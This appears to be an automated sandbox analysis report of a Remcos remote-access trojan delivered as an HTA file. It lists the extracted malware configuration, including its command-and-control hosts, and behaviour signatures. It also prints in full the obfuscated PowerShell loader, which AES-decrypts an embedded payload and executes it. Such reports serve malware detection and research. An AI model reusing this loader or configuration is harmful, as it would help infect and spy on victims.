Analysis
- max time kernel
149s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
23/06/2026, 12:12
General
- Target heisthebestthingsforbetterplacescomingfor.hta
- Size 14KB
- Sample260623-pc7e5acv8r
- SHA256 7ca4e6b027580a7227aa4a0f4f8081767c58232cb867c8112ea47d37d6868c40
Malware Config
Extracted
-
remcos
-
6.0.0 Pro
-
alocrypt
-
bukuru.duckdns.org:4550
-
bukuru.duckdns.org:4551
-
bukuru.duckdns.org:4553
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
alo.dat
-
keylog_flag
false
-
keylog_path
%UserProfile%
-
mouse_option
false
-
mutex
Rmc-MEYGZH
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
- startup_value
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 6 IoCs
Network activity triggered a Suricata alert
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication 7 IoCs
Network activity triggered a Suricata alert
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\heisthebestthingsforbetterplacescomingfor.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $meniscus = [System.Text.Encoding]::UTF8.GetBytes('wTfUmsFwJBh0k7yX'); if ($meniscus.Length -lt 32) { $meniscus = $meniscus + (0..(31 - $meniscus.Length)) }; $caperlash = [Convert]::FromBase64String('B+MPg1kLpobsbueX9x85EwXz4P7lkz2p26h3VE/CPVQcN0YT0iAAQtl/1j+X99wHj8LI5kssIhiw023trVRaUUoxAA148TiWv0Kb8eE33iE5RAdOrdXwu7uefmALqaIgzwUdkD1DZh7Va02VbXU1fjYP2FclcXyuOWmWxM4+p7hdjF22SXNpJCsQiFuqAt2Ko/ABjx/gT6DfI4XQNGSXonyEEji0Q3nQVqYVtamCydMdt4wb7Eqj2U0UWQTPea9Hv39mGBc93atAZe6b0JOcxQ5BLQk0nZd9/2sZQ0uL8RvQ2yM2J2BiJM2AnJK3LLH1PyVzqHL6dWmjholCpZVX//xRnOenBVzRQZFmbshd/WIprDuZaatJarcsbU3wPE2zJ/5A79Y3TEMWpzo76mqh+oLt8Yn5zfOUH3IaVJQnwNTZIuuBldnPBGOC+Co7X242lPotgDLyM960geCPaszA3OuFB4v7TnWJb8UxVdF+ouZaaUGLUjr7Fvyjjm5p1+S2juIM71rXLRXon0g5MuVuSCOxkOkfRk4w+qRdWSle1lmjBc64FtcOmUaKRU6y2thFHsycJc4tr0LSdcOrd8HwUG6loavlizqpYxycD9OidLXlK9iOKtQYuK732a0PNBBBKuZmJQkY0EIu78wXoI0O5dAtQc+Ly10BvwnAFc7Bh5Fs5RBZQYqY20HHogGEiGcKk2tpvggJ1hVk++YSJ8i90QHxf9fnM9YEsf1pFLUq/fhRI4riJJHmZnqH6Ae7kj+AxnTEIY7Pz7HfQ50m1FD7axfEzcSL2LmYG67hYKeT67/ewaoQhgnPR6Pz7UOxiMzUzDmZwfw+vJeBY3Yp1ZaJOrkt4viQSN4Wg5A1B07W1xjHVCaPAV4C3nwHAr8YDIXpBnmTZi7yWKau/BCOUp49JnGC6tpj5n/ZZoqkyGopt6tVbE9ieMttyXRNFvVNwMmRnsrEj0oG2kF5f3E0VfoSNLe9cZ/dCft1//kYt5KQxzYkAMX4ftrwZ1loBSkhcbkFOVSiP2fcM2lm/Ex1jIkYlMfFBZiFDANcpBqriw2g0dn9hQdYBjAVORFSd4tS3qjUjGV2kitZQaFT/8zIuq3sTV4pZjiz6cPKSSxhQrbRBG497zQbUqc8+n5vryorlbQBNM2J7wNukZivrQ5UAtZl1daIxBOWKj+liE6mCd06kqw3dXOB/FEhLC7mhQ6cX9+/R+3aF9dVVC/zb/0ryybZUPv1u4yyDHGbjWfEbe4lHXZ9qvhBNjPewEPHV0UNbFj6h+zWl3AMrvnBUqRcXlredBJARUpdCqvIp6DAK8Xib2h77HPYJBlkDmePDeEAj23sz77v2JxAllTRbUeYYurPcc2oqAr2auZ6QKxUv5YZwPpjfP+AW1vqxMnTh/ZWu5FHo3ku4RjgqJ0GpYDjvIEb9rSDTNDgQ3i1Ehd5WVUgITs+Mts2RS0AC3ZjcD0JBEMCbkwnkVW8HpQhAU1KX6zAX1FwmcarGzm4Zwak3L7sCZ1OWPUH3xTjU7oUiJY7kiRgvmjkyW6G3qcc8k/jv2vfwF341hroo6ZVSFParuLuG+KZ48CvybtwR9Ax+5BhksaioDenWYP8/wr0uC36X6nzrWsnd6jweEsG4CRoKwP3uFIDZa3mOn59P10WpxdjOvE5uSRNoU28Uk4CjhoYp5jDB1GLgUGiD5V1VAJbDjJ+EWsfSpHqILv1t7A8IJQLOEQ68UyvdS8gyWuRaBOMdEXSTfT9yROFyzSqMjLjo1Xz2+o='); $charmest = $caperlash[0..15]; $saracenic = $caperlash[16..($caperlash.Length-1)]; $lungis = [System.Security.Cryptography.Aes]::Create(); $lungis.Key = $meniscus; $lungis.IV = $charmest; $terebratuloid = $lungis.CreateDecryptor(); $Mysia = $terebratuloid.TransformFinalBlock($saracenic, 0, $saracenic.Length); $Nazified = [System.Text.Encoding]::UTF8.GetString($Mysia); Invoke-Expression $Nazified; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1160-25-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-27-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-37-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-38-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-36-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-35-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-34-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-33-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-32-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-31-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-16-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-26-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-24-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-17-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-19-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1160-22-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1468-10-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-8-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-15-0x00000150A6640000-0x00000150A664A000-memory.dmp
memory/1468-14-0x00000150A6B80000-0x00000150A6CA2000-memory.dmp
memory/1468-13-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-23-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-3-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-12-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-0-0x00007FF92305F000-0x00007FF923060000-memory.dmp
memory/1468-9-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-11-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-7-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-6-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-5-0x00007FF922ED0000-0x00007FF923874000-memory.dmp
memory/1468-4-0x00000150A65C0000-0x00000150A65E2000-memory.dmp